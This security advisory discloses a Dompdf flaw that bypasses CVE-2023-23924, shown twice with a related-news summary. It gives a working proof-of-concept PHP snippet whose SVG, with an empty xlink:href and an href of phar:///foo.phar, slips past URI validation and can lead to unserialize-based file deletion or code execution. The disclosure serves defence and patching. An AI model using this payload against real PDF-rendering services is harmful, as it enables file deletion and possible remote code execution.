Headline
GHSA-56gj-mvh6-rp75: URI validation failure on SVG parsing. Bypass of CVE-2023-23924
Summary
Due to the difference in the attribute parser of Dompdf and php-svg-lib, an attacker can still call arbitrary URLs with arbitrary protocols.
Details
Dompdf parses the href attribute of image
tags with the following code:
src/Image/Cache.php
line 135-150
function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {
if (strtolower($name) === "image") {
$attributes = array_change_key_case($attributes, CASE_LOWER);
$url = $attributes["xlink:href"] ?? $attributes["href"];
if (!empty($url)) {
$inner_full_url = Helpers::build_url($parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $url);
if ($inner_full_url === $full_url) {
throw new ImageException("SVG self-reference is not allowed", E_WARNING);
}
[$resolved_url, $type, $message] = self::resolve_url($url, $parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $options);
if (!empty($message)) {
throw new ImageException("This SVG document references a restricted resource. $message", E_WARNING);
}
}
}
},
As you can see from the code snippet above, it respects xlink:href
even if href
is specified.
$url = $attributes["xlink:href"] ?? $attributes["href"];
However, php-svg-lib, which is later used to parse the svg file, parses the href attribute with the following code:
src/Svg/Tag/Image.php
line 51-57
if (isset($attributes['xlink:href'])) {
$this->href = $attributes['xlink:href'];
}
if (isset($attributes['href'])) {
$this->href = $attributes['href'];
}
Since href
is respected if both xlink:href
and href
is specified, it’s possible to bypass the protection on the Dompdf side by providing an empty xlink:href
attribute.
PoC
- Run the following PHP snippet.
<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
$svg = '<svg width="1" height="1"><image xlink:href="" href="phar:///foo.phar"></image></svg>';
$html = '<img src="data:image/svg;base64,'.base64_encode($svg).'">';
$dompdf = new Dompdf();
$dompdf->loadHtml($html);
$dompdf->render();
- Observe that file_get_contents throws an invalid phar error.
Warning: file_get_contents(phar:///foo.phar): failed to open stream: phar error: invalid url or non-existent phar "phar:///foo.phar" in /app/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
Impact
An attacker can exploit the vulnerability to call arbitrary URLs with arbitrary protocols if they provide an SVG file to the Dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, which will lead, at the very least, to arbitrary file deletion and might lead to remote code execution, depending on available classes.
Summary
Due to the difference in the attribute parser of Dompdf and php-svg-lib, an attacker can still call arbitrary URLs with arbitrary protocols.
Details
Dompdf parses the href attribute of image tags with the following code:
src/Image/Cache.php line 135-150
function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) { if (strtolower($name) === “image”) { $attributes = array_change_key_case($attributes, CASE_LOWER); $url = $attributes[“xlink:href”] ?? $attributes[“href”]; if (!empty($url)) { $inner_full_url = Helpers::build_url($parsed_url[“protocol”], $parsed_url[“host”], $parsed_url[“path”], $url); if ($inner_full_url === $full_url) { throw new ImageException("SVG self-reference is not allowed", E_WARNING); } [$resolved_url, $type, $message] = self::resolve_url($url, $parsed_url[“protocol”], $parsed_url[“host”], $parsed_url[“path”], $options); if (!empty($message)) { throw new ImageException("This SVG document references a restricted resource. $message", E_WARNING); } } } },
As you can see from the code snippet above, it respects xlink:href even if href is specified.
$url = $attributes[“xlink:href”] ?? $attributes[“href”];
However, php-svg-lib, which is later used to parse the svg file, parses the href attribute with the following code:
src/Svg/Tag/Image.php line 51-57
if (isset($attributes[‘xlink:href’])) { $this->href = $attributes[‘xlink:href’]; }
if (isset($attributes[‘href’])) { $this->href = $attributes[‘href’]; }
Since href is respected if both xlink:href and href is specified, it’s possible to bypass the protection on the Dompdf side by providing an empty xlink:href attribute.
PoC
- Run the following PHP snippet.
<?php require 'vendor/autoload.php’; use Dompdf\Dompdf;
$svg = '<svg width="1" height="1"><image xlink:href="" href="phar:///foo.phar"></image></svg>’; $html = '<img src="data:image/svg;base64,’.base64_encode($svg).’">’;
$dompdf = new Dompdf(); $dompdf->loadHtml($html); $dompdf->render();
Observe that file_get_contents throws an invalid phar error.
Warning: file_get_contents(phar:///foo.phar): failed to open stream: phar error: invalid url or non-existent phar “phar:///foo.phar” in /app/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
Impact
An attacker can exploit the vulnerability to call arbitrary URLs with arbitrary protocols if they provide an SVG file to the Dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, which will lead, at the very least, to arbitrary file deletion and might lead to remote code execution, depending on available classes.
References
- GHSA-56gj-mvh6-rp75
- dompdf/dompdf@95009ea
Related news
Dompdf is an HTML to PDF converter written in php. Due to the difference in the attribute parser of Dompdf and php-svg-lib, an attacker can still call arbitrary URLs with arbitrary protocols. Dompdf parses the href attribute of `image` tags and respects `xlink:href` even if `href` is specified. However, php-svg-lib, which is later used to parse the svg file, parses the href attribute. Since `href` is respected if both `xlink:href` and `href` is specified, it's possible to bypass the protection on the Dompdf side by providing an empty `xlink:href` attribute. An attacker can exploit the vulnerability to call arbitrary URLs with arbitrary protocols if they provide an SVG file to the Dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, which will lead, at the very least, to arbitrary file deletion and might lead to remote code execution, depending on available classes. This vulnerability has been addressed in commit `95009ea98` which has been included in release version...